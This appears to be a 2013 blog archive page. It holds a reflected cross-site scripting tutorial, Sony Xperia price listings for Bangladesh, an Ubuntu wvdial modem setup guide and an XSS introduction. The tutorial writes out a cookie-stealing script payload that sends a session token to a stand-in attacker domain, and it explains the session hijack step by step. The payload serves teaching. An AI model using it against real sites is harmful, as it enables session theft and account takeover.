Thursday, January 31, 2013

Reflected XSS - Introduction and Exploitation


Reflected XSS Vulnerabilities
A very common example of XSS occurs when an application employs a dynamic page to display error messages to users. Typically, the page takes a parameter containing the text of the message, and simply renders this text back to the user within its response. This type of mechanism is convenient for
developers, because it allows them to invoke a customized error page from anywhere in the application, without needing to hard-code individual messages within the error page itself.

For example, consider the following URL, which returns the error message shown in Figure A: 

https://wahh-app.com/error.php?message=Sorry%2c+an+error+occurred



Figure A: A dynamically generated error message



Looking at the HTML source for the returned page, we can see that the application is simply copying the value of the message parameter in the URL and inserting this into the error page template at the appropriate place:
<p>Sorry, an error occurred.</p>

This behavior of taking user-supplied input and inserting it into the HTML of the server’s response is one of the signatures of XSS vulnerabilities, and if no filtering or sanitization is being performed, then the application is certainly vulnerable. Let’s see how.

The following URL has been crafted to replace the error message with a piece of JavaScript that generates a pop-up dialog:

https://wahh-app.com/error.php?message=<script>alert(‘xss’);</script>

Requesting this URL generates an HTML page that contains the following in place of the original message:

<p><script>alert(‘xss’);</script></p>

And sure enough, when the page is rendered within the user’s browser, the
pop-up message appears, as shown in Figure B.


Figure B: A proof-of-concept XSS exploit


Performing this simple test serves to verify two important things. First, the contents of the message parameter can be replaced with arbitrary data that gets returned to the browser. Second, whatever processing the server-side application is performing on this data (if any), it is not sufficient to prevent us from supplying JavaScript code that is executed when the page is displayed in the browser.
This type of simple XSS bug accounts for approximately 75% of the XSS vulnerabilities that exist in real-world web applications. It is often referred to as reflected XSS because exploiting the vulnerability involves crafting a request containing embedded JavaScript which is reflected back to any user who makes the request. The attack payload is delivered and executed via a single request and response. For this reason, it is also sometimes referred to as first-order XSS.


Exploiting the Vulnerability

XSS vulnerabilities can be exploited in many different ways to attack other users of an application. One of the simplest attacks, and the one that is most commonly envisaged to explain the potential significance of XSS flaws, results in the attacker capturing the session token of an authenticated user. Hijacking the user’s session gives the attacker access to all of the data and functionality to which the user is authorized .
The steps involved in this attack are illustrated in Figure C.







1. The user logs in to the application as normal, and is issued with a cookie containing a session token:

Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3

2. Through some means (described later), the attacker feeds the following URL to the user:

https://wahhapp.com/error.php?message=<script>var+i=new+Image;
+i.src=”http://wahh-attacker.com/“%2bdocument.cookie;</script>

As in the previous example, which generated a dialog message, this URL contains embedded JavaScript. However, the attack payload in this case is more malicious.

3. The user requests from the application the URL fed to them by the attacker.

4. The server responds to the user’s request. As a result of the XSS vulnerability, the response contains the JavaScript created by the attacker.

5. The attacker’s JavaScript is received by the user’s browser, which executes it in the same way it does any other code received from the application.

6. The malicious JavaScript created by the attacker is:

var i=new Image; i.src=”http://wahh-attacker.com/“+document.cookie;

This code causes the user’s browser to make a request to wahh- attacker.com, which is a domain owned by the attacker. The request contains the user’s current session token for the application:

GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1
Host: wahh-attacker.com

7. The attacker monitors requests to wahh-attacker.com and receives the user’s request. He uses the captured token to hijack the user’s session, gaining access to that user’s personal information, and performing arbitrary actions “as” the user.



There are two important reasons why the attacker goes to the trouble of exploiting the XSS vulnerability. The first and most important reason is that the attacker’s objective is not simply to execute an arbitrary script but to capture the session token of the user. Browsers do not let just any old script access a site’s cookies; otherwise, session hijacking would be trivial. Rather, cookies
can be accessed only by the site that issued them: they are submitted in HTTP requests back to the issuing site only, and they can be accessed via JavaScript contained within or loaded by a page returned by that site only.

The reason why the attack which exploits the XSS vulnerability is successful is that, as far as the user’s browser is concerned, the attacker’s malicious JavaScript was sent to it by wahh-app.com. When the user requests the attacker’s URL, the browser makes a request to https://wahh-app.com/error.php, and
the application returns a page containing some JavaScript. As with any JavaScript received from wahh-app.com, the browser executes this script within the security context of the user’s relationship with wahh-app.com. This is the reason why the attacker’s script, although it actually originates elsewhere, is
able to gain access to the cookies issued by wahh-app.com. This is also the reason why the vulnerability itself has become known as cross-site scripting.








Sony Ericsson XPERIA E Dual Mobile Handset Price in Bangladesh BD










Model  :  XPERIA E Dual

Dimensions                            113.5 × 61.8 × 11.0 mm
Display Size                           3.5 inches
Memory                                 RAM 512 Megabytes
Internal Memory                    4 GB
                                             MicroSD upto 32GB
Camera                                 3.1.5 MP
OS                                       Android Ice Cream Sandwitch

Price in Bangladesh               Taka 17,500



Sony Ericsson XPERIA Tipo Mobile Handset Price in Bangladesh BD








Xperia™ Tipo

Dimensions                             103 × 57 × 13 mm
Display Size                            3.2 inches
Memory                                 RAM 512 Megabytes
Internal Memory                     2.9 GB
                                              MicroSD upto 32GB
Camera                                  3.2MP
OS                                        Android v4.0.4
                                             Ice Cream Sandwitch

Price in Bangladesh               Taka 14,500
 




                      

Thursday, January 17, 2013

Install Citycell ZOOM Ultra Wireless USB Modem in UBUNTU 12.04 (Precise)



Today we will install Citycell ZOOM Ultra wireless usb EVDO modem in Ubuntu 12.04 using wvdial. However, this method is applicable to any usb modem. If you want to install and use your modem graphically, read this.

First of all, download wvdial. Wvdial is a PPP(Point-to-Point) dialer helps us to use modems. Wvdial depends on some little packages which are essential for wvdial to work successfully. Download 3 packages from the following locations.

Wvdial dependancies:



 Ok, now , first we will install these dependancies first. These are debian packages. Copy these packages to a temporary folder, I’m copying them to tmp folder of my file system. Now open terminal, insert the following commands:

cd /tmp
sudo dpkg –i libuniconf4.6.deb
sudo dpkg –i libwvstreams4.6-base.deb  
sudo dpkg –i libwvstreams4.6-extras.deb

Enter your password when prompted.

So we’ve installed the dependancies, now we’ll install wvdial. Assuming that our downloaded wvdial package is in tmp folder, install wvdial from terminal as follows:

cd /tmp
sudo dpkg –i wvdial_1.61-4build1_i386.deb

Here wvdial_1.61-4build1_i386.deb is the name of my downloaded wvdial package. Relace it with your downloaded package name. Ok, wvdial is now installed and we are almost done.

Make sure your modem is detected by Ubuntu, plug your modem in usb and enter the following command in terminal:

lsusb –v

If the manufacturer’s name is shown in terminal, your modem is detected. Fine.
Now from terminal, enter the following command one after one:

cd /etc
sudo gedit wvdial.conf

This will open a text file. Enter exactly the following lines there:
[Dialer citycell]
Phone = #777
Username = waps
Password = waps

Yes, you're done. Now save and close the text file. The Dialer name, Phone, Username and Password are specific to provider citycell, please replace these values with the one of your provider (Contact your provider if you don't have these info). To use your modem (EVERY TIME), plug the modem, then open terminal and enter the following command:

sudo wvdial citycell

DON'T CLOSE THE TERMINAL WHILE USING MODEM. To disconnect, press CTRL+c.
Thank you. If you've any query, feel free to comment. Goodnight.

Tuesday, January 15, 2013

XSS (Cross Site Scripting) - An Introduction

Cross-site Scripting or XSS  is the Godfather of attacks against other users. It is by some measure the most prevalent web application vulnerability found in the wild, afflicting literally the vast majority of live applications, including some of the most security-critical applications on the Internet, such as those used by online banks.

XSS stands for Cross-Site-Scripting. It is basically an attack, that is used to execute HTML and Javascript on the web-page. This attack can be done by submitting queries into text-boxes, or even into the URL. The results come back reading the text as HTML, so it executes the scripts instead of displaying them in plain text. With an XSS attack, you can steal cookies from a Web-Administrator, or even use some social-engineering to manipulate someone into download a virus that you've created. Such as a Botnet, or RAT, maybe even a Keylogger.

Opinions vary as to the seriousness of XSS vulnerabilities. Ask many a hacker or professional pen tester, and they will tell you, “Cross-site scripting is lame.” And in one sense it is. XSS vulnerabilities are often trivial to identify and are so widespread that anyone with a browser can find an XSS bug somewhere in a matter of minutes. The Bugtraq mailing list is congested with attention seekers posting XSS bugs in unheard-of software. And in plenty of cases, XSS vulnerabilities are of minimal significance —not exploitable to do anything particularly worthwhile.

Our next post will focus on various types of XSS vulnerabilities and the possible ways to exploit them. Till then, goodbye.